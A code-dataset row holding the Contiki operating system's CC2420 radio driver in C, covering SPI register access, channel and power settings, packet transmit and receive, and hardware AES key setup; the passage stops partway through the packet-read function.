blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 268 | content_id stringlengths 40 40 | detected_licenses listlengths 0 58 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 816
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.31k 677M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 151
values | src_encoding stringclasses 33
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.3M | extension stringclasses 119
values | content stringlengths 3 10.3M | authors listlengths 1 1 | author_id stringlengths 0 228 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
15b52d1efcc4e2bd048462aaeed129db168e18db | c3e386bb4867b7bbd28eaef0af6c100d7c3a8c58 | /a2-synchrotron-contiki/dev/cc2420/cc2420.c | 371ec631e65786dbe061c079720b04e9f566efce | [
"BSD-3-Clause",
"LicenseRef-scancode-proprietary-license"
] | permissive | iot-chalmers/a2-synchrotron | 2b1977227c937863f0027ad0b4a31c2be538d8f0 | 1224860ff62db2e91af5ed0c6ab2da7ee66295d8 | refs/heads/cooja-main | 2021-01-01T16:58:31.204870 | 2017-11-08T10:51:30 | 2017-11-08T10:51:30 | 97,966,364 | 10 | 7 | BSD-3-Clause | 2019-06-18T12:24:01 | 2017-07-21T16:15:20 | C | UTF-8 | C | false | false | 37,755 | c | /*
* Copyright (c) 2007, Swedish Institute of Computer Science
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the Institute nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* This file is part of the Contiki operating system.
*
*/
/*
* This code is almost device independent and should be easy to port.
*/
#include <string.h>
#include "contiki.h"
#if defined(__AVR__)
#include <avr/io.h>
#endif
#include "dev/leds.h"
#include "dev/spi.h"
#include "cc2420.h"
#include "cc2420_const.h"
#include "net/packetbuf.h"
#include "net/rime/rimestats.h"
#include "net/netstack.h"
#undef ENABLE_COOJA_DEBUG
#define ENABLE_COOJA_DEBUG COOJA
#include "dev/cooja-debug.h"
/* CC2420 MAX PACKET DURATION in RTIMER ticks */
#define CC2420_MAX_PACKET_DURATION 148
//XXX TSCH does not need this
#ifdef CC2420_CONF_SEND_CCA
#define WITH_SEND_CCA CC2420_CONF_SEND_CCA
#else
#define WITH_SEND_CCA 1
#endif
#ifndef CC2420_CONF_CHANNEL
#define CC2420_CONF_CHANNEL 26
#endif /* CC2420_CONF_CHANNEL */
#ifndef CC2420_CONF_CCA_THRESH
#define CC2420_CONF_CCA_THRESH -45
#endif /* CC2420_CONF_CCA_THRESH */
#ifndef CC2420_CONF_AUTOACK
#define CC2420_CONF_AUTOACK 0
#endif /* CC2420_CONF_AUTOACK */
#ifndef CC2420_CONF_ADR_DECODE
#define CC2420_CONF_ADR_DECODE 1
#endif /* CC2420_CONF_ADR_DECODE */
#define CHECKSUM_LEN 2
#define FOOTER_LEN 2
#define FOOTER1_CRC_OK 0x80
#define FOOTER1_CORRELATION 0x7f
#ifdef CC2420_CONF_RSSI_OFFSET
#define RSSI_OFFSET CC2420_CONF_RSSI_OFFSET
#else /* CC2420_CONF_RSSI_OFFSET */
/* The RSSI_OFFSET is approximate -45 (see CC2420 specification) */
#define RSSI_OFFSET -45
#endif /* CC2420_CONF_RSSI_OFFSET */
enum write_ram_order {
/* Begin with writing the first given byte */
WRITE_RAM_IN_ORDER,
/* Begin with writing the last given byte */
WRITE_RAM_REVERSE
};
#define DEBUG 0
#if DEBUG
#include <stdio.h>
#define PRINTF(...) printf(__VA_ARGS__)
#else
#undef PRINTF
#define PRINTF(...) do {} while (0)
#endif
#define DEBUG_LEDS DEBUG
#undef LEDS_ON
#undef LEDS_OFF
#if DEBUG_LEDS
#define LEDS_ON(x) leds_on(x)
#define LEDS_OFF(x) leds_off(x)
#else
#define LEDS_ON(x)
#define LEDS_OFF(x)
#endif
/* Conversion map between PA_LEVEL and output power in dBm
(from table 9 in CC2420 specification).
*/
struct output_config {
int8_t power;
uint8_t config;
};
static const struct output_config output_power[] = {
{ 0, 31 }, /* 0xff */
{ -1, 27 }, /* 0xfb */
{ -3, 23 }, /* 0xf7 */
{ -5, 19 }, /* 0xf3 */
{ -7, 15 }, /* 0xef */
{-10, 11 }, /* 0xeb */
{-15, 7 }, /* 0xe7 */
{-25, 3 }, /* 0xe3 */
};
#define OUTPUT_NUM (sizeof(output_power) / sizeof(struct output_config))
#define OUTPUT_POWER_MAX 0
#define OUTPUT_POWER_MIN -25
void cc2420_arch_init(void);
#undef BUSYWAIT_UNTIL
#define BUSYWAIT_UNTIL(cond, max_time) \
do { \
rtimer_clock_t t0; \
t0 = RTIMER_NOW(); \
while(!(cond) && RTIMER_CLOCK_LT(RTIMER_NOW(), t0 + (max_time))); \
} while(0)
/* XXX hack: these will be made as Chameleon packet attributes */
rtimer_clock_t cc2420_time_of_arrival, cc2420_time_of_departure;
int cc2420_authority_level_of_sender;
volatile uint8_t cc2420_sfd_counter;
volatile uint16_t cc2420_sfd_start_time;
volatile uint16_t cc2420_sfd_end_time;
static volatile uint16_t last_packet_timestamp;
/*---------------------------------------------------------------------------*/
PROCESS(cc2420_process, "CC2420 driver");
/*---------------------------------------------------------------------------*/
#ifdef CC2420_CONF_FIFOP_THRESHOLD
#define FIFOP_THRESHOLD CC2420_CONF_FIFOP_THRESHOLD
#else
#define FIFOP_THRESHOLD 127
#endif
#ifndef RF_CHANNEL
#define RF_CHANNEL 20
#endif /* RF_CHANNEL */
#ifndef CC2420_CONF_TX_POWER
#define CC2420_CONF_TX_POWER 15
#endif /* CC2420_CONF_TX_POWER */
#ifndef RSSI_THR
#define RSSI_THR (-32-14)
#endif /* RSSI_THR */
#ifndef CC2420_CONF_CCA_THRESH
#define CC2420_CONF_CCA_THRESH RSSI_THR
#endif /* CC2420_CONF_CCA_THRESH */
int cc2420_on(void);
int cc2420_off(void);
static int cc2420_read(void *buf, unsigned short bufsize);
static int cc2420_prepare(const void *data, unsigned short len);
static int cc2420_transmit(unsigned short len);
static int cc2420_send(const void *data, unsigned short len);
static int cc2420_receiving_packet(void);
static int pending_packet(void);
static int get_cca_threshold(void);
static int cc2420_cca(void);
signed char cc2420_last_rssi;
uint8_t cc2420_last_correlation;
static uint8_t receive_on;
static int channel;
/* A flag to enable or disable FIFOP interrupt */
static uint8_t volatile interrupt_enabled = 1;
static uint8_t volatile address_decoding_enabled = CC2420_CONF_ADR_DECODE;
static radio_result_t
get_value(radio_param_t param, radio_value_t *value)
{
int i, v;
if(!value) {
return RADIO_RESULT_INVALID_VALUE;
}
switch(param) {
case RADIO_PARAM_POWER_MODE:
*value = receive_on ? RADIO_POWER_MODE_ON : RADIO_POWER_MODE_OFF;
return RADIO_RESULT_OK;
case RADIO_PARAM_CHANNEL:
*value = cc2420_get_channel();
return RADIO_RESULT_OK;
case RADIO_PARAM_TXPOWER:
v = cc2420_get_txpower();
*value = OUTPUT_POWER_MIN;
/* Find the actual estimated output power in conversion table */
for(i = 0; i < OUTPUT_NUM; i++) {
if(v >= output_power[i].config) {
*value = output_power[i].power;
break;
}
}
return RADIO_RESULT_OK;
case RADIO_PARAM_CCA_THRESHOLD:
*value = get_cca_threshold() + RSSI_OFFSET;
return RADIO_RESULT_OK;
case RADIO_PARAM_RSSI:
/* Return the RSSI value in dBm */
*value = cc2420_rssi();
return RADIO_RESULT_OK;
case RADIO_CONST_CHANNEL_MIN:
*value = 11;
return RADIO_RESULT_OK;
case RADIO_CONST_CHANNEL_MAX:
*value = 26;
return RADIO_RESULT_OK;
case RADIO_CONST_TXPOWER_MIN:
*value = OUTPUT_POWER_MIN;
return RADIO_RESULT_OK;
case RADIO_CONST_TXPOWER_MAX:
*value = OUTPUT_POWER_MAX;
return RADIO_RESULT_OK;
default:
return RADIO_RESULT_NOT_SUPPORTED;
}
}
static radio_result_t
set_value(radio_param_t param, radio_value_t value)
{
int i;
switch(param) {
case RADIO_PARAM_POWER_MODE:
if(value == RADIO_POWER_MODE_ON) {
cc2420_on();
return RADIO_RESULT_OK;
}
if(value == RADIO_POWER_MODE_OFF) {
cc2420_off();
return RADIO_RESULT_OK;
}
return RADIO_RESULT_INVALID_VALUE;
case RADIO_PARAM_CHANNEL:
if(value < 11 || value > 26) {
return RADIO_RESULT_INVALID_VALUE;
}
cc2420_set_channel(value);
return RADIO_RESULT_OK;
case RADIO_PARAM_TXPOWER:
if(value < OUTPUT_POWER_MIN || value > OUTPUT_POWER_MAX) {
return RADIO_RESULT_INVALID_VALUE;
}
/* Find the closest higher PA_LEVEL for the desired output power */
for(i = 1; i < OUTPUT_NUM; i++) {
if(value > output_power[i].power) {
break;
}
}
cc2420_set_txpower(output_power[i - 1].config);
return RADIO_RESULT_OK;
case RADIO_PARAM_CCA_THRESHOLD:
cc2420_set_cca_threshold(value - RSSI_OFFSET);
return RADIO_RESULT_OK;
default:
return RADIO_RESULT_NOT_SUPPORTED;
}
}
static radio_result_t
get_object(radio_param_t param, void *dest, size_t size)
{
return RADIO_RESULT_NOT_SUPPORTED;
}
static radio_result_t
set_object(radio_param_t param, const void *src, size_t size)
{
return RADIO_RESULT_NOT_SUPPORTED;
}
signed char radio_last_rssi;
uint8_t radio_last_correlation;
const struct radio_driver cc2420_driver =
{
cc2420_init,
cc2420_prepare,
cc2420_transmit,
cc2420_send,
cc2420_read,
cc2420_cca,
cc2420_receiving_packet,
pending_packet,
cc2420_on,
cc2420_off,
get_value,
set_value,
get_object,
set_object
};
/*---------------------------------------------------------------------------*/
/* Sends a strobe */
static void
strobe(enum cc2420_register regname)
{
CC2420_SPI_ENABLE();
SPI_WRITE(regname);
CC2420_SPI_DISABLE();
}
/*---------------------------------------------------------------------------*/
static unsigned int
status(void)
{
uint8_t status;
CC2420_GET_STATUS(status);
return status;
}
/*---------------------------------------------------------------------------*/
/* Reads a register */
static uint16_t
getreg(enum cc2420_register regname)
{
uint16_t value;
CC2420_SPI_ENABLE();
SPI_WRITE(regname | 0x40);
value = (uint8_t)SPI_RXBUF;
SPI_TXBUF = 0;
SPI_WAITFOREORx();
value = SPI_RXBUF << 8;
SPI_TXBUF = 0;
SPI_WAITFOREORx();
value |= SPI_RXBUF;
CC2420_SPI_DISABLE();
return value;
}
/*---------------------------------------------------------------------------*/
/**
* Writes to a register.
* Note: the SPI_WRITE(0) seems to be needed for getting the
* write reg working on the Z1 / MSP430X platform
*/
static void
setreg(enum cc2420_register regname, uint16_t value)
{
CC2420_SPI_ENABLE();
SPI_WRITE_FAST(regname);
SPI_WRITE_FAST((uint8_t) (value >> 8));
SPI_WRITE_FAST((uint8_t) (value & 0xff));
SPI_WAITFORTx_ENDED();
SPI_WRITE(0);
CC2420_SPI_DISABLE();
}
/*---------------------------------------------------------------------------*/
static void
read_ram(uint8_t *buffer, uint16_t adr, uint16_t count)
{
uint8_t i;
CC2420_SPI_ENABLE();
SPI_WRITE(0x80 | ((adr) & 0x7f));
SPI_WRITE((((adr) >> 1) & 0xc0) | 0x20);
SPI_RXBUF;
for(i = 0; i < count; i++) {
SPI_READ(((uint8_t*) buffer)[i]);
}
CC2420_SPI_DISABLE();
}
/*---------------------------------------------------------------------------*/
/* Write to RAM in the CC2420 */
static void
write_ram(const uint8_t *buffer,
uint16_t adr,
uint16_t count,
enum write_ram_order order)
{
uint8_t i;
CC2420_SPI_ENABLE();
SPI_WRITE_FAST(0x80 | (adr & 0x7f));
SPI_WRITE_FAST((adr >> 1) & 0xc0);
if(order == WRITE_RAM_IN_ORDER) {
for(i = 0; i < count; i++) {
SPI_WRITE_FAST((buffer)[i]);
}
} else {
for(i = count; i > 0; i--) {
SPI_WRITE_FAST((buffer)[i - 1]);
}
}
SPI_WAITFORTx_ENDED();
CC2420_SPI_DISABLE();
}
/*---------------------------------------------------------------------------*/
static void
write_fifo_buf(const uint8_t *buffer, uint16_t count)
{
uint8_t i;
CC2420_SPI_ENABLE();
SPI_WRITE_FAST(CC2420_TXFIFO);
for(i = 0; i < count; i++) {
SPI_WRITE_FAST((buffer)[i]);
}
SPI_WAITFORTx_ENDED();
CC2420_SPI_DISABLE();
}
/*---------------------------------------------------------------------------*/
/* Returns the current status */
static uint8_t
get_status(void)
{
uint8_t status;
CC2420_SPI_ENABLE();
SPI_WRITE(CC2420_SNOP);
status = SPI_RXBUF;
CC2420_SPI_DISABLE();
return status;
}
/*---------------------------------------------------------------------------*/
static void
getrxdata(uint8_t *buffer, int count)
{
uint8_t i;
CC2420_SPI_ENABLE();
SPI_WRITE(CC2420_RXFIFO | 0x40);
(void) SPI_RXBUF;
for(i = 0; i < count; i++) {
SPI_READ(buffer[i]);
}
clock_delay(1);
CC2420_SPI_DISABLE();
}
/*---------------------------------------------------------------------------*/
void
cc2420_get_rx_data(uint8_t *buffer, int count)
{
getrxdata(buffer, count);
}
/*---------------------------------------------------------------------------*/
static void
flushrx(void)
{
uint8_t dummy;
getrxdata(&dummy, 1);
strobe(CC2420_SFLUSHRX);
strobe(CC2420_SFLUSHRX);
if(dummy) {
/* avoid unused variable compiler warning */
}
}
/*---------------------------------------------------------------------------*/
void
cc2420_flushrx(void)
{
flushrx();
}
/*---------------------------------------------------------------------------*/
static void
wait_for_status(uint8_t status_bit)
{
rtimer_clock_t t0;
t0 = RTIMER_NOW();
while(!(get_status() & status_bit)
&& RTIMER_CLOCK_LT(RTIMER_NOW(), t0 + (RTIMER_SECOND / 10)));
}
/*---------------------------------------------------------------------------*/
static void
wait_for_transmission(void)
{
rtimer_clock_t t0;
t0 = RTIMER_NOW();
while((get_status() & BV(CC2420_TX_ACTIVE))
&& RTIMER_CLOCK_LT(RTIMER_NOW(), t0 + (RTIMER_SECOND / 10)));
}
/*---------------------------------------------------------------------------*/
static void
on(void)
{
if(interrupt_enabled) {
CC2420_ENABLE_FIFOP_INT();
}
strobe(CC2420_SRXON);
ENERGEST_ON(ENERGEST_TYPE_LISTEN);
receive_on = 1;
}
/*---------------------------------------------------------------------------*/
static void
off(void)
{
/* PRINTF("off\n");*/
receive_on = 0;
/* Wait for transmission to end before turning radio off. */
wait_for_transmission();
ENERGEST_OFF(ENERGEST_TYPE_LISTEN);
strobe(CC2420_SRFOFF);
if(interrupt_enabled) {
CC2420_DISABLE_FIFOP_INT();
}
if(!CC2420_FIFOP_IS_1) {
flushrx();
}
}
/*---------------------------------------------------------------------------*/
static uint8_t locked, lock_on, lock_off;
#define GET_LOCK() locked++
static void RELEASE_LOCK(void) {
if(locked == 1) {
if(lock_on) {
on();
lock_on = 0;
}
if(lock_off) {
off();
lock_off = 0;
}
}
locked--;
}
/*---------------------------------------------------------------------------*/
static void
init_security(void)
{
/* only use key 0 */
setreg(CC2420_SECCTRL0, 0);
setreg(CC2420_SECCTRL1, 0);
}
/*---------------------------------------------------------------------------*/
void
cc2420_set_security(uint8_t security_level, uint8_t clear_text_bytes)
{
uint8_t security_mode = (security_level & 0x03) ? CC2420_SECCTRL0_CBC_MAC : 0;
security_mode |= (security_level & 0x04) ? CC2420_SECCTRL0_CTR : 0;
uint8_t mic_length = (2 << (security_level & 3));
uint16_t sec0 = security_mode |
(((mic_length-2)>>1) << CC2420_SECCTRL0_SEC_M_IDX) |
CC2420_SECCTRL0_RXKEYSEL0 | /* use key 0 for rx, tx, stand-alone */
CC2420_SECCTRL0_TXKEYSEL0 |
CC2420_SECCTRL0_SAKEYSEL0 |
CC2420_SECCTRL0_SEC_CBC_HEAD;
uint16_t sec1 = clear_text_bytes + (clear_text_bytes<<8); //for tx/rx
setreg(CC2420_SECCTRL0, sec0);
setreg(CC2420_SECCTRL1, sec1);
}
/*---------------------------------------------------------------------------*/
void
cc2420_set_nonce(uint8_t *nonce, uint8_t rx)
{
GET_LOCK();
if(rx) {
write_ram(nonce, CC2420RAM_RXNONCE, 16, WRITE_RAM_REVERSE);
} else {
write_ram(nonce, CC2420RAM_TXNONCE, 16, WRITE_RAM_REVERSE);
}
RELEASE_LOCK();
}
/*---------------------------------------------------------------------------*/
void
cc2420_decrypt_rx(void)
{
GET_LOCK();
strobe(CC2420_SRXDEC);
RELEASE_LOCK();
}
/*---------------------------------------------------------------------------*/
void
cc2420_set_key(const uint8_t *key)
{
GET_LOCK();
write_ram(key, CC2420RAM_KEY0, 16, WRITE_RAM_REVERSE);
RELEASE_LOCK();
}
/*---------------------------------------------------------------------------*/
static void
set_key(const uint8_t *key)
{
cc2420_set_key(key);
}
/*---------------------------------------------------------------------------*/
static void
encrypt(uint8_t *plaintext_and_result)
{
GET_LOCK();
write_ram(plaintext_and_result,
CC2420RAM_SABUF,
16,
WRITE_RAM_IN_ORDER);
strobe(CC2420_SAES);
while(get_status() & BV(CC2420_ENC_BUSY));
read_ram(plaintext_and_result, CC2420RAM_SABUF, 16);
RELEASE_LOCK();
}
/*---------------------------------------------------------------------------*/
const struct aes_128_driver cc2420_aes_128_driver = {
set_key,
encrypt
};
/*---------------------------------------------------------------------------*/
static void
set_txpower(uint8_t power)
{
uint16_t reg;
reg = getreg(CC2420_TXCTRL);
reg = (reg & 0xffe0) | (power & 0x1f);
setreg(CC2420_TXCTRL, reg);
}
/*---------------------------------------------------------------------------*/
#define AUTOACK (1 << 4)
#define AUTOCRC (1 << 5)
#define ADR_DECODE (1 << 11)
#define RXFIFO_PROTECTION (1 << 9)
#define CORR_THR(n) (((n) & 0x1f) << 6)
#define FIFOP_THR(n) ((n) & 0x7f)
#define RXBPF_LOCUR (1 << 13);
/*---------------------------------------------------------------------------*/
int
cc2420_init(void)
{
uint16_t reg;
{
int s = splhigh();
cc2420_arch_init(); /* Initalize ports and SPI. */
CC2420_DISABLE_FIFOP_INT();
CC2420_FIFOP_INT_INIT();
if(!interrupt_enabled) {
CC2420_DISABLE_FIFOP_INT();
}
splx(s);
}
/* Turn on voltage regulator and reset. */
SET_VREG_ACTIVE();
clock_delay(250);
SET_RESET_ACTIVE();
clock_delay(127);
SET_RESET_INACTIVE();
clock_delay(125);
/* Turn on the crystal oscillator. */
strobe(CC2420_SXOSCON);
/* And wait until it stabilizes */
wait_for_status(BV(CC2420_XOSC16M_STABLE));
/* Turn on/off automatic packet acknowledgment and address decoding. */
reg = getreg(CC2420_MDMCTRL0);
#if CC2420_CONF_AUTOACK
reg |= AUTOACK;
#else
reg &= ~(AUTOACK);
#endif /* CC2420_CONF_AUTOACK */
if(address_decoding_enabled) {
reg |= ADR_DECODE;
} else {
reg &= ~(ADR_DECODE);
}
/* Enabling CRC in hardware; this is required by AUTOACK anyway
and provides us with RSSI and link quality indication (LQI)
information. */
reg |= AUTOCRC;
setreg(CC2420_MDMCTRL0, reg);
/* Set transmission turnaround time to the lower setting (8 symbols
= 0.128 ms) instead of the default (12 symbols = 0.192 ms). */
/* reg = getreg(CC2420_TXCTRL);
reg &= ~(1 << 13);
setreg(CC2420_TXCTRL, reg);*/
/* Change default values as recomended in the data sheet, */
/* correlation threshold = 20, RX bandpass filter = 1.3uA. */
setreg(CC2420_MDMCTRL1, CORR_THR(20));
reg = getreg(CC2420_RXCTRL1);
reg |= RXBPF_LOCUR;
setreg(CC2420_RXCTRL1, reg);
/* Set the FIFOP threshold to maximum. */
setreg(CC2420_IOCFG0, FIFOP_THR(FIFOP_THRESHOLD));
init_security();
cc2420_set_pan_addr(0xffff, 0x0000, NULL);
cc2420_set_channel(CC2420_CONF_CHANNEL);
cc2420_set_cca_threshold(CC2420_CONF_CCA_THRESH);
flushrx();
cc2420_set_interrupt_enable(1);
cc2420_sfd_sync(1, 1);
if(interrupt_enabled) {
CC2420_CLEAR_FIFOP_INT();
}
process_start(&cc2420_process, NULL);
return 1;
}
/*---------------------------------------------------------------------------*/
static int
cc2420_transmit(unsigned short payload_len)
{
GET_LOCK();
int i;
// int txpower;
// txpower = 0;
// if(packetbuf_attr(PACKETBUF_ATTR_RADIO_TXPOWER) > 0) {
// /* Remember the current transmission power */
// txpower = cc2420_get_txpower();
// /* Set the specified transmission power */
// set_txpower(packetbuf_attr(PACKETBUF_ATTR_RADIO_TXPOWER) - 1);
// }
/* The TX FIFO can only hold one packet. Make sure to not overrun
* FIFO by waiting for transmission to start here and synchronizing
* with the CC2420_TX_ACTIVE check in cc2420_send.
*
* Note that we may have to wait up to 320 us (20 symbols) before
* transmission starts.
*/
#ifndef CC2420_CONF_SYMBOL_LOOP_COUNT
#error CC2420_CONF_SYMBOL_LOOP_COUNT needs to be set!!!
#else
#define LOOP_20_SYMBOLS CC2420_CONF_SYMBOL_LOOP_COUNT
#endif
#if WITH_SEND_CCA
strobe(CC2420_SRXON);
wait_for_status(BV(CC2420_RSSI_VALID));
strobe(CC2420_STXONCCA);
#else /* WITH_SEND_CCA */
strobe(CC2420_STXON);
#endif /* WITH_SEND_CCA */
for(i = LOOP_20_SYMBOLS; i > 0; i--) {
if(CC2420_SFD_IS_1) {
#if PACKETBUF_WITH_PACKET_TYPE
{
rtimer_clock_t sfd_timestamp;
sfd_timestamp = cc2420_sfd_start_time;
if(packetbuf_attr(PACKETBUF_ATTR_PACKET_TYPE) ==
PACKETBUF_ATTR_PACKET_TYPE_TIMESTAMP) {
/* Write timestamp to last two bytes of packet in TXFIFO. */
write_ram((uint8_t *) &sfd_timestamp, CC2420RAM_TXFIFO + payload_len - 1, 2, WRITE_RAM_IN_ORDER);
}
}
#endif /* PACKETBUF_WITH_PACKET_TYPE */
if(!(get_status() & BV(CC2420_TX_ACTIVE))) {
/* SFD went high but we are not transmitting. This means that
we just started receiving a packet, so we drop the
transmission. */
RELEASE_LOCK();
return RADIO_TX_COLLISION;
}
if(receive_on) {
ENERGEST_OFF(ENERGEST_TYPE_LISTEN);
}
ENERGEST_ON(ENERGEST_TYPE_TRANSMIT);
/* We wait until transmission has ended so that we get an
accurate measurement of the transmission time.*/
wait_for_transmission();
#ifdef ENERGEST_CONF_LEVELDEVICE_LEVELS
ENERGEST_OFF_LEVEL(ENERGEST_TYPE_TRANSMIT,cc2420_get_txpower());
#endif
ENERGEST_OFF(ENERGEST_TYPE_TRANSMIT);
if(receive_on) {
ENERGEST_ON(ENERGEST_TYPE_LISTEN);
} else {
/* We need to explicitly turn off the radio,
* since STXON[CCA] -> TX_ACTIVE -> RX_ACTIVE */
off();
}
// if(packetbuf_attr(PACKETBUF_ATTR_RADIO_TXPOWER) > 0) {
// /* Restore the transmission power */
// set_txpower(txpower & 0xff);
// }
RELEASE_LOCK();
return RADIO_TX_OK;
}
}
/* If we are using WITH_SEND_CCA, we get here if the packet wasn't
transmitted because of other channel activity. */
RIMESTATS_ADD(contentiondrop);
PRINTF("cc2420: do_send() transmission never started\n");
// if(packetbuf_attr(PACKETBUF_ATTR_RADIO_TXPOWER) > 0) {
// /* Restore the transmission power */
// set_txpower(txpower & 0xff);
// }
RELEASE_LOCK();
return RADIO_TX_COLLISION;
}
/*---------------------------------------------------------------------------*/
static int
cc2420_prepare(const void *payload, unsigned short payload_len)
{
uint8_t total_len;
GET_LOCK();
PRINTF("cc2420: sending %d bytes\n", payload_len);
RIMESTATS_ADD(lltx);
/* Wait for any previous transmission to finish. */
/* while(status() & BV(CC2420_TX_ACTIVE));*/
/* Write packet to TX FIFO. */
strobe(CC2420_SFLUSHTX);
total_len = payload_len + CHECKSUM_LEN;
write_fifo_buf(&total_len, 1);
write_fifo_buf(payload, payload_len);
RELEASE_LOCK();
return 0;
}
/*---------------------------------------------------------------------------*/
static int
cc2420_send(const void *payload, unsigned short payload_len)
{
cc2420_prepare(payload, payload_len);
return cc2420_transmit(payload_len);
}
/*---------------------------------------------------------------------------*/
int
cc2420_off(void)
{
/* Don't do anything if we are already turned off. */
if(receive_on == 0) {
return 1;
}
/* If we are called when the driver is locked, we indicate that the
radio should be turned off when the lock is unlocked. */
if(locked) {
/* printf("Off when locked (%d)\n", locked);*/
COOJA_DEBUG_STR("Off when locked");
lock_off = 1;
return 1;
}
GET_LOCK();
/* If we are currently receiving a packet (indicated by SFD == 1),
we don't actually switch the radio off now, but signal that the
driver should switch off the radio once the packet has been
received and processed, by setting the 'lock_off' variable. */
if(get_status() & BV(CC2420_TX_ACTIVE)) {
lock_off = 1;
} else {
off();
}
RELEASE_LOCK();
return 1;
}
/*---------------------------------------------------------------------------*/
int
cc2420_on(void)
{
if(receive_on) {
return 1;
}
if(locked) {
lock_on = 1;
return 1;
}
GET_LOCK();
on();
RELEASE_LOCK();
return 1;
}
/*---------------------------------------------------------------------------*/
int
cc2420_get_channel(void)
{
return channel;
}
/*---------------------------------------------------------------------------*/
ALWAYS_INLINE int
cc2420_set_channel(int c)
{
uint16_t f;
GET_LOCK();
/*
* Subtract the base channel (11), multiply by 5, which is the
* channel spacing. 357 is 2405-2048 and 0x4000 is LOCK_THR = 1.
*/
channel = c;
f = 5 * (c - 11) + 357 + 0x4000;
/* Wait for any transmission to end. */
wait_for_transmission();
setreg(CC2420_FSCTRL, f);
/* If we are in receive mode, we issue an SRXON command to ensure
that the VCO is calibrated. */
if(receive_on) {
strobe(CC2420_SRXON);
}
RELEASE_LOCK();
return 1;
}
ALWAYS_INLINE void
cc2420_set_channel_fast(int c)
{
uint16_t f;
/*
* Subtract the base channel (11), multiply by 5, which is the
* channel spacing. 357 is 2405-2048 and 0x4000 is LOCK_THR = 1.
*/
f = 5 * (c - 11) + 357 + 0x4000;
/* Wait for any transmission to end. */
//wait_for_transmission();
// setreg(CC2420_FSCTRL, f);
CC2420_SPI_ENABLE();
SPI_WRITE_FAST(CC2420_FSCTRL);
SPI_WRITE_FAST((uint8_t ) (f >> 8));
SPI_WRITE_FAST((uint8_t ) (f & 0xff));
SPI_WAITFORTx_ENDED();
SPI_WRITE(0);
/* If we are in receive mode, we issue an SRXON command to ensure
that the VCO is calibrated. */
/*if(receive_on){
SPI_WRITE(CC2420_SRXON);
}*/
// strobe(CC2420_SRXON);
// ENERGEST_ON(ENERGEST_TYPE_LISTEN);
// receive_on = 1;
CC2420_SPI_DISABLE();
#define CC2420_FSCTRL_CAL_RUNNING (1<<12)
#define CC2420_FSCTRL_CAL_DONE (1<<13)
/* wait until calibrated */
//BUSYWAIT_UNTIL(!(getreg(CC2420_FSCTRL) & CC2420_FSCTRL_CAL_RUNNING) && (getreg(CC2420_FSCTRL) & CC2420_FSCTRL_CAL_DONE), RTIMER_SECOND / 1000);
channel = c;
}
/*---------------------------------------------------------------------------*/
void
cc2420_set_pan_addr(unsigned pan,
unsigned addr,
const uint8_t *ieee_addr)
{
GET_LOCK();
write_ram((uint8_t *) &pan, CC2420RAM_PANID, 2, WRITE_RAM_IN_ORDER);
write_ram((uint8_t *) &addr, CC2420RAM_SHORTADDR, 2, WRITE_RAM_IN_ORDER);
if(ieee_addr != NULL) {
write_ram(ieee_addr, CC2420RAM_IEEEADDR, 8, WRITE_RAM_REVERSE);
}
RELEASE_LOCK();
}
/*---------------------------------------------------------------------------*/
/*
* Interrupt leaves frame intact in FIFO.
*/
int
cc2420_interrupt(void)
{
CC2420_CLEAR_FIFOP_INT();
process_poll(&cc2420_process);
last_packet_timestamp = cc2420_sfd_start_time;
return 1;
}
/*---------------------------------------------------------------------------*/
PROCESS_THREAD(cc2420_process, ev, data)
{
int len;
PROCESS_BEGIN();
PRINTF("cc2420_process: started\n");
while(1) {
PROCESS_YIELD_UNTIL(interrupt_enabled && ev == PROCESS_EVENT_POLL);
PRINTF("cc2420_process: calling receiver callback\n");
packetbuf_clear();
#ifndef WITHOUT_ATTR_TIMESTAMP
packetbuf_set_attr(PACKETBUF_ATTR_TIMESTAMP, last_packet_timestamp);
#endif /* WITHOUT_ATTR_TIMESTAMP */
len = cc2420_read(packetbuf_dataptr(), PACKETBUF_SIZE);
packetbuf_set_datalen(len);
NETSTACK_RDC.input();
}
PROCESS_END();
}
/*---------------------------------------------------------------------------*/
static int
cc2420_read(void *buf, unsigned short bufsize)
{
uint8_t footer[FOOTER_LEN];
uint8_t len;
if(!CC2420_FIFOP_IS_1) {
return 0;
}
GET_LOCK();
getrxdata(&len, 1);
if(len > CC2420_MAX_PACKET_LEN) {
/* Oops, we must be out of sync. */
RIMESTATS_ADD(badsynch);
} else if(len <= FOOTER_LEN) {
RIMESTATS_ADD(tooshort);
